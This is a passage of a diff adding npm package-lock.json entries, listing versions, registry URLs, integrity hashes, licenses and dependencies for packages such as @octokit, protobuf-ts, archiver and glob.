+      "integrity": "sha512-7RKRKuA4xTjMhY+eG3jthb3hlZCsOwg3rztWh75Xc+ShDWOfDDATWbeZpAHBNRpm4Tv9WgBMOy1zEJYXG6NJ7Q==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/auth-token": "^2.4.4",
+        "@octokit/graphql": "^4.5.8",
+        "@octokit/request": "^5.6.3",
+        "@octokit/request-error": "^2.0.5",
+        "@octokit/types": "^6.0.3",
+        "before-after-hook": "^2.2.0",
+        "universal-user-agent": "^6.0.0"
+      }
+    },
+    "node_modules/@octokit/core/node_modules/@octokit/request-error": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz",
+      "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.0.3",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      }
+    },
+    "node_modules/@octokit/endpoint": {
+      "version": "6.0.12",
+      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz",
+      "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.0.3",
+        "is-plain-object": "^5.0.0",
+        "universal-user-agent": "^6.0.0"
+      }
+    },
+    "node_modules/@octokit/graphql": {
+      "version": "4.8.0",
+      "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.8.0.tgz",
+      "integrity": "sha512-0gv+qLSBLKF0z8TKaSKTsS39scVKF9dbMxJpj3U0vC7wjNWFuIpL/z76Qe2fiuCbDRcJSavkXsVtMS6/dtQQsg==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/request": "^5.6.0",
+        "@octokit/types": "^6.0.3",
+        "universal-user-agent": "^6.0.0"
+      }
+    },
+    "node_modules/@octokit/openapi-types": {
+      "version": "12.11.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-12.11.0.tgz",
+      "integrity": "sha512-VsXyi8peyRq9PqIz/tpqiL2w3w80OgVMwBHltTml3LmVvXiphgeqmY9mvBw9Wu7e0QWk/fqD37ux8yP5uVekyQ==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-paginate-rest": {
+      "version": "2.21.3",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-2.21.3.tgz",
+      "integrity": "sha512-aCZTEf0y2h3OLbrgKkrfFdjRL6eSOo8komneVQJnYecAxIej7Bafor2xhuDJOIFau4pk0i/P28/XgtbyPF0ZHw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.40.0"
+      },
+      "peerDependencies": {
+        "@octokit/core": ">=2"
+      }
+    },
+    "node_modules/@octokit/plugin-request-log": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.4.tgz",
+      "integrity": "sha512-mLUsMkgP7K/cnFEw07kWqXGF5LKrOkD+lhCrKvPHXWDywAwuDUeDwWBpc69XK3pNX0uKiVt8g5z96PJ6z9xCFA==",
+      "license": "MIT",
+      "peerDependencies": {
+        "@octokit/core": ">=3"
+      }
+    },
+    "node_modules/@octokit/plugin-rest-endpoint-methods": {
+      "version": "5.16.2",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-5.16.2.tgz",
+      "integrity": "sha512-8QFz29Fg5jDuTPXVtey05BLm7OB+M8fnvE64RNegzX7U+5NUXcOcnpTIK0YfSHBg8gYd0oxIq3IZTe9SfPZiRw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.39.0",
+        "deprecation": "^2.3.1"
+      },
+      "peerDependencies": {
+        "@octokit/core": ">=3"
+      }
+    },
+    "node_modules/@octokit/plugin-retry": {
+      "version": "3.0.9",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-retry/-/plugin-retry-3.0.9.tgz",
+      "integrity": "sha512-r+fArdP5+TG6l1Rv/C9hVoty6tldw6cE2pRHNGmFPdyfrc696R6JjrQ3d7HdVqGwuzfyrcaLAKD7K8TX8aehUQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.0.3",
+        "bottleneck": "^2.15.3"
+      }
+    },
+    "node_modules/@octokit/request": {
+      "version": "5.6.3",
+      "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz",
+      "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/endpoint": "^6.0.1",
+        "@octokit/request-error": "^2.1.0",
+        "@octokit/types": "^6.16.1",
+        "is-plain-object": "^5.0.0",
+        "node-fetch": "^2.6.7",
+        "universal-user-agent": "^6.0.0"
+      }
+    },
+    "node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
+    "node_modules/@octokit/request/node_modules/@octokit/request-error": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz",
+      "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.0.3",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      }
+    },
+    "node_modules/@octokit/types": {
+      "version": "6.41.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.41.0.tgz",
+      "integrity": "sha512-eJ2jbzjdijiL3B4PrSQaSjuF2sPEQPVCPzBvTHJD9Nz+9dw2SGH4K4xeQJ77YfTq5bRQ+bD8wT11JbeDPmxmGg==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^12.11.0"
+      }
+    },
+    "node_modules/@pkgjs/parseargs": {
+      "version": "0.11.0",
+      "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
+      "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/@protobuf-ts/plugin": {
+      "version": "2.11.1",
+      "resolved": "https://registry.npmjs.org/@protobuf-ts/plugin/-/plugin-2.11.1.tgz",
+      "integrity": "sha512-HyuprDcw0bEEJqkOWe1rnXUP0gwYLij8YhPuZyZk6cJbIgc/Q0IFgoHQxOXNIXAcXM4Sbehh6kjVnCzasElw1A==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@bufbuild/protobuf": "^2.4.0",
+        "@bufbuild/protoplugin": "^2.4.0",
+        "@protobuf-ts/protoc": "^2.11.1",
+        "@protobuf-ts/runtime": "^2.11.1",
+        "@protobuf-ts/runtime-rpc": "^2.11.1",
+        "typescript": "^3.9"
+      },
+      "bin": {
+        "protoc-gen-dump": "bin/protoc-gen-dump",
+        "protoc-gen-ts": "bin/protoc-gen-ts"
+      }
+    },
+    "node_modules/@protobuf-ts/protoc": {
+      "version": "2.11.1",
+      "resolved": "https://registry.npmjs.org/@protobuf-ts/protoc/-/protoc-2.11.1.tgz",
+      "integrity": "sha512-mUZJaV0daGO6HUX90o/atzQ6A7bbN2RSuHtdwo8SSF2Qoe3zHwa4IHyCN1evftTeHfLmdz+45qo47sL+5P8nyg==",
+      "license": "Apache-2.0",
+      "bin": {
+        "protoc": "protoc.js"
+      }
+    },
+    "node_modules/@protobuf-ts/runtime": {
+      "version": "2.11.1",
+      "resolved": "https://registry.npmjs.org/@protobuf-ts/runtime/-/runtime-2.11.1.tgz",
+      "integrity": "sha512-KuDaT1IfHkugM2pyz+FwiY80ejWrkH1pAtOBOZFuR6SXEFTsnb/jiQWQ1rCIrcKx2BtyxnxW6BWwsVSA/Ie+WQ==",
+      "license": "(Apache-2.0 AND BSD-3-Clause)"
+    },
+    "node_modules/@protobuf-ts/runtime-rpc": {
+      "version": "2.11.1",
+      "resolved": "https://registry.npmjs.org/@protobuf-ts/runtime-rpc/-/runtime-rpc-2.11.1.tgz",
+      "integrity": "sha512-4CqqUmNA+/uMz00+d3CYKgElXO9VrEbucjnBFEjqI4GuDrEQ32MaI3q+9qPBvIGOlL4PmHXrzM32vBPWRhQKWQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@protobuf-ts/runtime": "^2.11.1"
+      }
+    },
+    "node_modules/@typescript/vfs": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@typescript/vfs/-/vfs-1.6.1.tgz",
+      "integrity": "sha512-JwoxboBh7Oz1v38tPbkrZ62ZXNHAk9bJ7c9x0eI5zBfBnBYGhURdbnh7Z4smN/MV48Y5OCcZb58n972UtbazsA==",
+      "license": "MIT",
+      "dependencies": {
+        "debug": "^4.1.1"
+      },
+      "peerDependencies": {
+        "typescript": "*"
+      }
+    },
+    "node_modules/@typespec/ts-http-runtime": {
+      "version": "0.2.3",
+      "resolved": "https://registry.npmjs.org/@typespec/ts-http-runtime/-/ts-http-runtime-0.2.3.tgz",
+      "integrity": "sha512-oRhjSzcVjX8ExyaF8hC0zzTqxlVuRlgMHL/Bh4w3xB9+wjbm0FpXylVU/lBrn+kgphwYTrOk3tp+AVShGmlYCg==",
+      "license": "MIT",
+      "dependencies": {
+        "http-proxy-agent": "^7.0.0",
+        "https-proxy-agent": "^7.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/abort-controller": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz",
+      "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==",
+      "license": "MIT",
+      "dependencies": {
+        "event-target-shim": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=6.5"
+      }
+    },
+    "node_modules/agent-base": {
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.3.tgz",
+      "integrity": "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+      }
+    },
+    "node_modules/ansi-styles": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
+      "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/archiver": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz",
+      "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==",
+      "license": "MIT",
+      "dependencies": {
+        "archiver-utils": "^5.0.2",
+        "async": "^3.2.4",
+        "buffer-crc32": "^1.0.0",
+        "readable-stream": "^4.0.0",
+        "readdir-glob": "^1.1.2",
+        "tar-stream": "^3.0.0",
+        "zip-stream": "^6.0.1"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/archiver-utils": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz",
+      "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==",
+      "license": "MIT",
+      "dependencies": {
+        "glob": "^10.0.0",
+        "graceful-fs": "^4.2.0",
+        "is-stream": "^2.0.1",
+        "lazystream": "^1.0.0",
+        "lodash": "^4.17.15",
+        "normalize-path": "^3.0.0",
+        "readable-stream": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/async": {
+      "version": "3.2.6",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+      "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+      "license": "MIT"
+    },
+    "node_modules/b4a": {
+      "version": "1.6.7",
+      "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.6.7.tgz",
+      "integrity": "sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==",
+      "license": "Apache-2.0"
+    },
+    "node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "license": "MIT"
+    },
+    "node_modules/bare-events": {
+      "version": "2.5.4",
+      "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.5.4.tgz",
+      "integrity": "sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==",
+      "license": "Apache-2.0",
+      "optional": true
+    },
+    "node_modules/base64-js": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/before-after-hook": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz",
+      "integrity": "sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==",
+      "license": "Apache-2.0"
+    },
+    "node_modules/binary": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz",
+      "integrity": "sha512-D4H1y5KYwpJgK8wk1Cue5LLPgmwHKYSChkbspQg5JtVuR5ulGckxfR62H3AE9UDkdMC8yyXlqYihuz3Aqg2XZg==",
+      "license": "MIT",
+      "dependencies": {
+        "buffers": "~0.1.1",
+        "chainsaw": "~0.1.0"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/bottleneck": {
+      "version": "2.19.5",
+      "resolved": "https://registry.npmjs.org/bottleneck/-/bottleneck-2.19.5.tgz",
+      "integrity": "sha512-VHiNCbI1lKdl44tGrhNfU3lup0Tj/ZBMJB5/2ZbNXRCPuRCO7ed2mgcK4r17y+KB2EfuYuRaVlwNbAeaWGSpbw==",
+      "license": "MIT"
+    },
+    "node_modules/brace-expansion": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0"
+      }
+    },
+    "node_modules/buffer": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
+      "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "base64-js": "^1.3.1",
+        "ieee754": "^1.2.1"
+      }
+    },
+    "node_modules/buffer-crc32": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz",
+      "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/buffers": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz",
+      "integrity": "sha512-9q/rDEGSb/Qsvv2qvzIzdluL5k7AaJOTrw23z9reQthrbF7is4CtlT0DXyO1oei2DCp4uojjzQ7igaSHp1kAEQ==",
+      "engines": {
+        "node": ">=0.2.0"
+      }
+    },
+    "node_modules/chainsaw": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz",
+      "integrity": "sha512-75kWfWt6MEKNC8xYXIdRpDehRYY/tNSgwKaJq+dbbDcxORuVrrQ+SEHoWsniVn9XPYfP4gmdWIeDk/4YNp1rNQ==",
+      "license": "MIT/X11",
+      "dependencies": {
+        "traverse": ">=0.3.0 <0.4"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "license": "MIT",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+      "license": "MIT"
+    },
+    "node_modules/compress-commons": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz",
+      "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==",
+      "license": "MIT",
+      "dependencies": {
+        "crc-32": "^1.2.0",
+        "crc32-stream": "^6.0.0",
+        "is-stream": "^2.0.1",
+        "normalize-path": "^3.0.0",
+        "readable-stream": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/core-util-is": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+      "license": "MIT"
+    },
+    "node_modules/crc-32": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz",
+      "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==",
+      "license": "Apache-2.0",
+      "bin": {
+        "crc32": "bin/crc32.njs"
+      },
+      "engines": {
+        "node": ">=0.8"
+      }
+    },
+    "node_modules/crc32-stream": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz",
+      "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==",
+      "license": "MIT",
+      "dependencies": {
+        "crc-32": "^1.2.0",
+        "readable-stream": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/cross-spawn": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "license": "MIT",
+      "dependencies": {
+        "path-key": "^3.1.0",
+        "shebang-command": "^2.0.0",
+        "which": "^2.0.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
+      "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/deprecation": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
+      "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==",
+      "license": "ISC"
+    },
+    "node_modules/eastasianwidth": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
+      "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
+      "license": "MIT"
+    },
+    "node_modules/emoji-regex": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
+      "license": "MIT"
+    },
+    "node_modules/event-target-shim": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz",
+      "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/events": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+      "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.8.x"
+      }
+    },
+    "node_modules/fast-fifo": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz",
+      "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==",
+      "license": "MIT"
+    },
+    "node_modules/fast-xml-parser": {
+      "version": "5.2.5",
+      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz",
+      "integrity": "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/NaturalIntelligence"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "strnum": "^2.1.0"
+      },
+      "bin": {
+        "fxparser": "src/cli/cli.js"
+      }
+    },
+    "node_modules/foreground-child": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz",
+      "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==",
+      "license": "ISC",
+      "dependencies": {
+        "cross-spawn": "^7.0.6",
+        "signal-exit": "^4.0.1"
+      },
+      "engines": {
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/glob": {
+      "version": "10.4.5",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
+      "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
+      "license": "ISC",
+      "dependencies": {
+        "foreground-child": "^3.1.0",
+        "jackspeak": "^3.1.2",
+        "minimatch": "^9.0.4",
+        "minipass": "^7.1.2",
+        "package-json-from-dist": "^1.0.0",
+        "path-scurry": "^1.11.1"
+      },
+      "bin": {
+        "glob": "dist/esm/bin.mjs"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "license": "ISC"
+    },
+    "node_modules/http-proxy-agent": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
+      "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
+      "license": "MIT",
+      "dependencies": {
+        "agent-base": "^7.1.0",
+        "debug": "^4.3.4"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/https-proxy-agent": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
